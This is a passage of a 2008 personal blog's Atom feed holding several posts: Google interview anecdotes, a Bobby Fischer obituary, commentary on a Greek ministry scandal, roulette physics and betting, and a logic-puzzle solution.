style="font-style:italic;"&gt;rand7&lt;/span&gt; from &lt;span style="font-style:italic;"&gt;rand5&lt;/span&gt; you can create &lt;span style="font-style:italic;"&gt;rand25&lt;/span&gt; from &lt;span style="font-style:italic;"&gt;rand5&lt;/span&gt; (two rand5 calls) and then use the above method. Shifting to infinity is inevitable in some cases and all other efforts are in vain.&lt;br /&gt;&lt;br /&gt;Back to the interviews, the final question had to do with designing and analyzing an algorithm. This had to calculate all representations of an integer as a sum of cubes. You can find many similar examples in algorithms textbooks so presenting this story here is trivial. What is interesting is that, we started a discussion on an incident that was directly related to the problem. This is usually called as the '&lt;span style="font-style:italic;"&gt;cab number story'&lt;/span&gt;. Back in the days when &lt;a href="http://en.wikipedia.org/wiki/Ramanujan"&gt;Ramanujan&lt;/a&gt; was in Cambridge and was working with &lt;a href="http://en.wikipedia.org/wiki/G._H._Hardy"&gt;G.H. Hardy&lt;/a&gt;, he had frequent health problems. One day, Hardy visited Ramanujan to the hospital and to start a discussion he mentioned the number of the taxi cab that brought him there. He said something like &lt;span style="font-style:italic;"&gt;"..The cab number was 1729. I think this number is not interesting at all."&lt;/span&gt; A few seconds Ramanujan (which was extremely competent with numbers and calculations) replied: &lt;span style="font-style:italic;"&gt;"You are not right Mr.Hardy. 1729 is very interesting. It is the smallest number that can be written as a sum of cubes in two different ways."&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;This was a nice way to close the interview. We didn't have much time left, so we said some relaxing things and then ended the interview conversation. All in all, it went well and my interviewer was a really nice person. Our discussion was interesting and I soon got the news that I was to pass to the next level. Having acquaintance with math and generally science history certainly helps!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Jump to the &lt;a href="http://developeronline.blogspot.com/2008/02/google-interviews-part-iv.html"&gt;next Google interview.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6079163034757125588?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/6079163034757125588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=6079163034757125588' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6079163034757125588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6079163034757125588'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/google-interviews-part-iii.html' title='Google Interviews Part III'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_PNe-bgIDyRw/R5P2EOOM3PI/AAAAAAAAABw/obovC-ZeTiM/s72-c/1_google_logo.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-8997968323291724857</id><published>2008-01-18T04:40:00.000-08:00</published><updated>2008-12-09T07:12:08.237-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Robert James Fischer-The King Is Dead (1943-2008)</title><content type='html'>I heard it a couple of minutes ago. &lt;span style="font-weight: bold;"&gt;Bobby Fischer&lt;/span&gt; died in a hospital of Reykjavik, Iceland, the very place where he became the king of chess players beating Spassky in the final match. This leaves a bitter taste to all chess fans, and more to Fischer fans like myself.&lt;br /&gt;&lt;br /&gt;Child of divorced parents, he lived with his mom and older sister, which introduced Bobby to the game. He quickly left school and decided to be a professional chess player. At the age of 13 he played the 'Game of the Century' against D.Byrne, still considered as a masterpiece among chess enthusiasts (you don't see queen sacrifices very often)This was just the beginning and among other things Fischer became the holder of many best performance records in tournaments and matches escalating to being the World Chess Champion in 1972, at the heart of of Cold War, outperforming all Soviet chess stars. He was notorious for his passion to play each game to win.&lt;br /&gt;&lt;br /&gt;Bobby Fischer disappeared soon after FIDE denied to accept his suggestions for changing World Chess Championship rules and refused to defend his title against Anatoly Karpov. This has been a mystery around the chess world until 1992 when Fischer re-appeared to the public and played against Spassky in Serbia (Former Yugoslavia). This had political interest since Serbia was under embargo from the US at the time. After that Fischer had to find a political asylum which he finally found in Iceland.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R5CrBuOM3OI/AAAAAAAAABk/e0K7ohsQ_OQ/s1600-h/bobby-fischer-life-nov-12-1971.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R5CrBuOM3OI/AAAAAAAAABk/e0K7ohsQ_OQ/s200/bobby-fischer-life-nov-12-1971.jpg" alt="" id="BLOGGER_PHOTO_ID_5156809619415031010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bobby Fischer had early established the habit of dressing well and it is rumored he had a massive collection of shoes. Fischer himself describes that one comment after a chess tournament ('&lt;span style="font-style: italic;"&gt;He may play well but he dresses like a homeless'&lt;/span&gt;) is what triggered his behavior. All this have led many to call him 'arrogant' and 'self-centric'. At the last years of his life he has been accused of being racist and anti-semitic, things that he triggered himself after expressing strong anti-semitic opinions over the 9/11 incident on the radio.&lt;br /&gt;&lt;br /&gt;One could write for days about Fischer's bad behavior but all this have little significance now. This has been a small tribute to Bobby Fischer who died today. His ingenuity has inspired a whole generation of chess players and his plays are of unmatchable beauty. In my eyes, he is the best chess player of all times. and beyond chess mastery one can discover lessons of life in his strategies: The first that comes to my mind: "&lt;span style="font-weight: bold;"&gt;No draws. Win or lose."&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-8997968323291724857?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/8997968323291724857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=8997968323291724857' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8997968323291724857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8997968323291724857'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/robert-james-fischer-king-is-dead-1943.html' title='Robert James Fischer-The King Is Dead (1943-2008)'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R5CrBuOM3OI/AAAAAAAAABk/e0K7ohsQ_OQ/s72-c/bobby-fischer-life-nov-12-1971.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6424648535016694587</id><published>2008-01-16T11:04:00.000-08:00</published><updated>2009-10-06T14:18:39.508-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Greeks Do It Better</title><content type='html'>&lt;span style="font-style:italic;"&gt;This article&lt;a href="http://developeronline.blogspot.com/2008/01/for-gods-sake-calm-down.html"&gt;continues here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And when it comes to corruption we are the best...Our political system rewards the best among them every 4 years, by a process we tend to call 'elections', which places them in critical government positions.&lt;br /&gt;&lt;br /&gt;The great fuss started after the attempted suicide of the Primary Secretary of the Ministry of Culture, &lt;span style="font-weight:bold;"&gt;Christos Zachopoulos&lt;/span&gt; after having resigned from his position by claiming 'health problems'. The Minister accepted it and the case, although strange, seemed trivial. The first clouds appeared when it became publicly known that &lt;span style="font-weight:bold;"&gt;Mrs. Evi Tsekou&lt;/span&gt;, an employee inside the Ministry was blackmailing Zahopoulos. The reason was simple. But before going into details a short introduction is needed in order to understand the magical inner workings of Greek corruption system.&lt;br /&gt;&lt;br /&gt;Zahopoulos has been a close friend of the current Prime Minister &lt;span style="font-weight:bold;"&gt;Kostas Karamanlis&lt;/span&gt;, several years ago, in Thessaloniki, when he was still being elected as member of the Greek Parliament. Zahopoulos was also a close friend of &lt;span style="font-weight:bold;"&gt;Natassa Pazaiti&lt;/span&gt;, now wife of the PM and using his connections, he helped her greatly with her 'academic' courses. When Kostas Karamanlis was elected Prime Minister, he also took control of the Ministry of Culture and appointed Zahopoulos as the General Secretary. Zahopoulos had immense power in the Ministry and in all successive reformations that took place in it, in the 5-year period that the political party of New Democracy has been in government, he has been tight in his position.&lt;br /&gt;&lt;br /&gt;During all this period his behavior was provoking and many had warned the Prime Minister for his illegal actions. However, this was never going in public and Zahopoulos was completely covered by 'higher above'. The Greek audience became aware of his existence in summer of 2007, during Greece's huge fires, when he embarrassed himself when caught ignoring &lt;span style="font-weight:bold;"&gt;Cronius Hill&lt;/span&gt; (Κρόνιος Λόφος in Greek) as being a holy place of Olympia town. The Cronius Hill was destroyed by the fires and Zahopoulos was widely accepted as an incompetent, ignorant and almost dumb civil clerk.&lt;br /&gt;&lt;br /&gt;Zahopoulos had love affairs with an employee inside the Ministry of Culture, Mrs. Evi Tsekou. Later it became known that he was repeatedly using his power to ask for &lt;span style="font-weight:bold;"&gt;sexual favors&lt;/span&gt; in return for employment, by female employees in the Ministry. After Zahopoulos' suicide attempt, it became known that Mrs. Tsekou, was blackmailing him, threatening to expose their private intercourses written in DVD using a hidden camera. The Government tried to cover the case by equating the case to a typical sex scandal. But it was not...&lt;br /&gt;&lt;br /&gt;The public became suspicious over why the secretary committed suicided only having been accused for an off-marriage sexual affair. The shocking truth was that, &lt;span style="font-weight:bold;"&gt;Mr. Andrianos&lt;/span&gt;, journalist in the Prime Minister's office was in possession of the DVD, but the material that he handed to Justice (to investigate the blackmailing case)&lt;span style="font-weight:bold;"&gt;had been cut off!&lt;/span&gt; Of the total 40 minutes only 3 minutes arrived at Justice. Someone had obviously tampered with the original DVD. The Greek public opinion shouted: "&lt;span style="font-weight:bold;"&gt;Why the hell someone would process a DVD with sexual intercourse that is crime evidence. Are government officials responsible for this??"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are many rumors about the content of the DVD. The only sure thing is that it is of &lt;span style="font-weight:bold;"&gt;great political significance&lt;/span&gt;. Zahopoulos is supposed to reveal many things about the Prime Minister, Kostas Karamanlis, both personal and political information. It is also said that Zahopoulos is referring to his wife, Natasa Pazaiti. It is also rumored that the Prime Minister himself, after watching the content, he demanded from Zahopoulos to 'just disappear'.However, the scandal has been broadened to cover also the media lobby.&lt;br /&gt;&lt;br /&gt;It was revealed that the DVD was handed over to the Government by a journalist. Many have accused &lt;span style="font-weight:bold;"&gt;Themos Anastasiadis&lt;/span&gt;, chief editor of a popular newspaper, as being the journalist that gave away the disc. His prime work partner, &lt;span style="font-weight:bold;"&gt;Makis Triantafyllopoulos&lt;/span&gt; has accused him of &lt;span style="font-weight:bold;"&gt;making a deal&lt;/span&gt; with the government in order to stop tax controls on one of Mr. Anastasiadis' 'obscure' bank accounts. Mr. Anastasiadis has refused any possible participation in the case and has claimed that he has been blackmailed by others on this matter and that several months earlier informed the Police about the case. Mr. Andrianos, the journalist in PM's office that took the DVD, testified to Justice, and informed the interrogators about the journalist's identity and has made public that the journalist has been close friens, from University, with one of Evi Tsekou's former lawyer. Mr. Anastasiadis fits the profile but he denies all accusations and claims he is being 'hunted' by government officials and close media (interesting 'details': Anastasiadis' newspaper has revealed many government scandals over the years and recently obliged Greek Minister Mr. Magginas to resign from his position)&lt;br /&gt;&lt;br /&gt;The story has yet a long way to go. Greek public opinion seems disappointed and disgusted about the huge corruption that comes to light. Whatever the end might be, it is sure that &lt;span style="font-weight:bold;"&gt;great political transforms&lt;/span&gt; will happen over the following months (political parties will be teared apart and new political forces will emerge)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;See the latest post about &lt;a href="http://developeronline.blogspot.com/2008/01/for-gods-sake-calm-down.html"&gt;the Zahopoulos case here&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6424648535016694587?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/6424648535016694587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=6424648535016694587' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6424648535016694587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6424648535016694587'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/greeks-do-it-better.html' title='Greeks Do It Better'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2374768697059040611</id><published>2008-01-13T06:52:00.001-08:00</published><updated>2008-04-06T02:11:38.191-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><title type='text'>Beat The Roulette Or Die Trying</title><content type='html'>The only reason I will be in a casino will be for the roulette wheel. Maybe it is the numbers, the probabilities or just the rush of the game. As a barely regular roulette player myself, I am constantly plotting new systems for calculating the optimal bet.&lt;br /&gt;&lt;br /&gt;After a little search, one may find many betting systems advertised in the web promising huge money earnings. On the other hand others will say that no betting system exists for roulette playing. Well, once again &lt;span style="font-weight: bold;"&gt;the truth lies somewhere in the middle.&lt;/span&gt; Einstein once said that the only way to beat the roulette can happen only when the croupier is not looking you. Indeed, mathematically speaking, if roulette numbers are drawn from a uniform distribution, you have no chance of beating the house. But roulettes are mechanical systems. Croupiers that spin the roulette and keep the game going, can also be thought as physical systems. &lt;span style="font-weight: bold;"&gt;And any system can be analyzed or studied.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The roulette can be modeled as consisting of four major parts : the rotor, the stator, the deflectors and the pockets. Any slight deficiency in one of these parts can be responsible for making a roulette biased. An elementary analysis on a &lt;span style="font-style: italic;"&gt;tilted roulette&lt;/span&gt; can prove that creates a &lt;span style="font-style: italic;"&gt;forbidden region&lt;/span&gt; of the wheel in which the ball is sure not to land. This is tilt can be as small as 0.1-0.3 angle degrees.&lt;br /&gt;&lt;br /&gt;On the other hand, many theories are popular about the way croupiers spin the wheel. The most common one attributes a kind of &lt;span style="font-weight: bold;"&gt;signature&lt;/span&gt; to every roulette croupier: The speed he spins the wheel, the speed he launches the ball and the way he disturbs the results. This is &lt;span style="font-weight: bold;"&gt;certainly true.&lt;/span&gt; Croupiers are regular people working sometimes for 12 hours in a row, and depending on the schedule sometimes overnight. Under these conditions, croupiers can act somewhat mechanically by spinning both the wheel and ball the same way for several game turns. Experienced players can identify such circumstances and have profitable bets at the right time. But casinos also have their &lt;span style="font-weight: bold;"&gt;counter measures.&lt;/span&gt; When a croupier understands that he becomes predictable he changes the style of his play by varying the speed or initial position  of the system.&lt;br /&gt;&lt;br /&gt;However, such kind of croupier behavior, if analyzed, can exhibit in turn more interesting patterns. One striking example happened just yesterday. The croupier was playing on the numbers near 0 (voisins du zero). This soon became obvious even to amateur players. After a huge house loss, the croupier obviously disturbed the play by moving the ball to the other side (5 and 10 neighborhood) or in &lt;span style="font-weight: bold;"&gt;roulette slang, by spinning opposites&lt;/span&gt;. In regular playing the croupier was moving in the neighborhood and when the croupier decided to disturb the results, he moved the outcomes to the opposite roulette side of the current play.&lt;br /&gt;&lt;br /&gt;However, there are no magical systems for the roulette. It is certain that the house has the edge and the most important challenge is &lt;span style="font-weight: bold;"&gt;proper money management.&lt;/span&gt; Psychology is a crucial factor and it is certain that the casino retains huge earnings because players become anxious, neurotic or maniac making &lt;span style="font-weight: bold;"&gt;silly and meaningless bets.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Mathematically, the game has been studied by the &lt;span style="font-weight: bold;"&gt;Blackjack-Buster&lt;/span&gt;, the mathematician &lt;a href="http://en.wikipedia.org/wiki/Edward_O._Thorp"&gt;Edward Thorp&lt;/a&gt; who invented the &lt;span style="font-style: italic;"&gt;card counting&lt;/span&gt; technique in blackjack that created a whole new generation of professional blackjack players. Together with &lt;span style="font-weight: bold;"&gt;Claude Shannon&lt;/span&gt; they tried to study the game and the physics involved. While there are exist many stories about making huge earnings, I think most of them are &lt;span style="font-weight: bold;"&gt;total nonsense.&lt;/span&gt; Thorp himself in the &lt;span style="font-style: italic;"&gt;Mathematics for Gambling&lt;/span&gt; does not report any relevant interesting result. After analysis both in terms of playing and in terms of counter measures, he concludes by saying : "&lt;span style="font-style: italic;"&gt;...Then for the reasons explained above, the result will be perfectly random.&lt;/span&gt;" However, the &lt;span style="font-style: italic;"&gt;personal wearable computer&lt;/span&gt; is said to have come from the roulette studies of Thorp and Shannon.&lt;br /&gt;&lt;br /&gt;Mathematical theory in roulette analysis can also be assisted by using the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Kelly_criterion"&gt;Kelly criterion&lt;/a&gt;&lt;/span&gt;. Kelly was a researcher in AT&amp;amp;T when he published a paper about communicating information over noisy lines. His analysis provides equations that point to the optimal bets (in terms of % of your &lt;span style="font-style: italic;"&gt;bank roll&lt;/span&gt;) for maximizing your capital. In an unbiased roulette the Kelly criterion cannot be applied but this is not true for roulettes we believe exhibit some patterns in the results.&lt;br /&gt;&lt;br /&gt;To sum up, roulette is an exciting game which involves heavy mathematical theory spanning from probabilities to information theory. In later posts, I will try to give my own perspective about the game. Till then, stay cool and bet low.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2374768697059040611?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/2374768697059040611/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=2374768697059040611' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2374768697059040611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2374768697059040611'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/beat-roulette-or-die-trying.html' title='Beat The Roulette Or Die Trying'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-1997687779924143224</id><published>2008-01-08T02:12:00.000-08:00</published><updated>2008-01-09T05:02:10.422-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Human-Powered Search Engines Are Here</title><content type='html'>These days (06/01/08) the Wikia Foundation launched their Search Engine where the ranking of pages by usefulness is now the community's task. Until now, the whole software is in alpha version and can be found &lt;a href="http://alpha.search.wikia.com/"&gt;at this link.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The software is a little mess, indeed, and many have rushed to sell it as the &lt;span style="font-weight:bold;"&gt;total letdown of 2008.&lt;/span&gt; An overview of the critics can be found in this &lt;a href="http://www.businessweek.com/technology/content/jan2008/tc2008017_308710.htm?chan=top+news_top+news+index_technology"&gt;BusinessWeek article.&lt;/a&gt;Of course, this is &lt;span style="font-weight:bold;"&gt;total nonsense.&lt;/span&gt;The software is still in alpha version and it is obvious that its performance will scale when people will start working on it.&lt;br /&gt;&lt;br /&gt;Patience is a virtue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-1997687779924143224?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/1997687779924143224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=1997687779924143224' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1997687779924143224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/1997687779924143224'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/user-search-engines-are-here.html' title='Human-Powered Search Engines Are Here'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-5243597534792058246</id><published>2008-01-07T10:20:00.000-08:00</published><updated>2008-12-09T07:12:08.449-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='solutions'/><title type='text'>The Importance of Being Elegant</title><content type='html'>This is the solution to the the problem &lt;a href="http://developeronline.blogspot.com/2007/11/perfect-logicians-puzzle.html"&gt;of the perfect logicians.&lt;/a&gt; You might find 'solutions' for this problem in the web that in essence by listing a large set of numbers and wiping out the 'impossible' ones to arrive at the desired result. Even this &lt;a href="http://www.stanford.edu/dept/physics/Lighter_Side/puzzles.shtml"&gt;relevant Stanford page&lt;/a&gt; on the problem, refers to solutions you can hardly bear to look..&lt;br /&gt;&lt;br /&gt;The beauty of the problem and of the solution, resides in the elegant modeling. To find the exact solution all you have to do is to feed it to a computer in a form of a computer program and collect the results. My own perspective of elegance is given below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R4Jy-OOM3MI/AAAAAAAAAA0/k7O4YvFeJGg/s1600-h/PerfectLogicians.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R4Jy-OOM3MI/AAAAAAAAAA0/k7O4YvFeJGg/s400/PerfectLogicians.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5152807336960384194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Making the software for this model is really straightforward. You will find out that the only solution is 4 and 13. You may even try an even larger numbers and find out that 4 and 13 are the only solutions for a large set.&lt;br /&gt;&lt;br /&gt;I hope you enjoy this elegance in this as much as I have!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-5243597534792058246?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/5243597534792058246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=5243597534792058246' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5243597534792058246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/5243597534792058246'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/importance-of-being-elegant.html' title='The Importance of Being Elegant'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R4Jy-OOM3MI/AAAAAAAAAA0/k7O4YvFeJGg/s72-c/PerfectLogicians.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7455269490460895642</id><published>2008-01-03T09:11:00.001-08:00</published><updated>2008-01-20T17:35:03.596-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Interviews Part II</title><content type='html'>The first Google interview is most likely the easiest one.&lt;br /&gt;I have the feeling that they normally ask general questions, just to ensure that you have some knowledge of computers and you are not just the guy who believes he deserves a place in Google because he can make nice Powerpoint presentations. At least happened in my case.&lt;br /&gt;&lt;br /&gt;A guy from Mountain View called me sharply at the time we had arranged. He called on my mobile. I had everything arranged: From the bluetooth hands-free to nice and clean desk in front of me. At first, he asked me some questions about my CV, my age and my education. He didn't seem so interested in that and my impression was that his questions were somewhat mechanical.&lt;br /&gt;&lt;br /&gt;After a couple of minutes, he started asking technical questions. The first one was easy: &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;If we would like to index  the entire earth population, how long should the index size be?&lt;/span&gt;&lt;/span&gt;  Although a piece of cake, I felt like I was asked to prove that P=NP. Soon, I panicked but I asked for some time to 'warm up'. The Google Engineer was kind enough to understand and gave me all the time I needed in order to finally realize that I was talking to Google and that I had to control myself.&lt;br /&gt;&lt;br /&gt;After recovering and answering to this question, I was put in front of a puzzle involving &lt;span style="font-style:italic;"&gt;buckets&lt;/span&gt; and I was asked to find an algorithm that would end up in a situation that one bucket would be empty, as soon as some conditions were met. Excuse me for this vague description but I am still not able to remember exactly what the problem was all about. Instead of trying to find some exact solution to a problem that I couldn't understand (perhaps I was very nervous or I didn't understand the language), I followed an old &lt;span style="font-style:italic;"&gt;Harry Truman's quote: &lt;span style="font-weight:bold;"&gt;"If you cannot convince them, confuse them"&lt;/span&gt;&lt;/span&gt;. This seemed to work extremely well. I soon said something about modelling the problem as a Diophantine equation, where the solutions in integers would mean filling if positive or emptying if negative. Of course I had no idea what I was talking about, but the Google Engineer fell into it. He was not familiar with the idea, we soon started talking until we had switched to a more theoretical conversation. This gave me time to think over the solution and present with a backtracking-type of algorithm. During all this, I was asked some algorithmic-theoretical questions, for example about &lt;span style="font-style:italic;"&gt;hashing space and time complexity.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We spent a lot of time on this problem. The last one was around his own domain of expertise. It turned out that this guy was working on &lt;span style="font-style:italic;"&gt;Google Book Search&lt;/span&gt; and asked what I would &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;if I had to find duplicates in book catalogs with entries with different titles but with the same content.&lt;/span&gt;&lt;/span&gt;. I had no idea of the format, Google was using to index book entries, I asked some questions that clarified the problem to me and then I presented my solution. My idea was to use some basic format properties of book text, for example number of paragraphs, size of paragraphs and so on. This way a book named "Albert Camus-The Stranger" would match a book "Famous Authors-L'etranger" (the example might not be realistic but it gives the idea)&lt;br /&gt;&lt;br /&gt;The 45 minute had finished and it was time to ask my own questions. I asked a couple of things (one being &lt;span style="font-style:italic;"&gt;if book search is still beta&lt;/span&gt; to which the engineer falsely responded that it is not!)and some other lame how-wonderful-is-Google questions and we said goodbye.&lt;br /&gt;&lt;br /&gt;The next day I was informed by my recruiter that I had done well we had to proceed to the next stage. Overall, the guy I talked was very kind and showed a lot of understanding when I was stuck in the first and simplest question. But now I had to prepare for the 2nd interview which my recruiter had informed me that would be much more technical...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Continue to the &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-iii.html"&gt;second interview&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7455269490460895642?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/7455269490460895642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=7455269490460895642' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7455269490460895642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7455269490460895642'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html' title='Google Interviews Part II'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-993496897759692421</id><published>2008-01-02T17:01:00.000-08:00</published><updated>2008-02-18T17:27:48.747-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Netscape Navigator  (1994-2008)</title><content type='html'>Netscape Navigator or simply Navigator is DEAD.&lt;br /&gt;On December 28th 2007, AOL announced that will no longer support 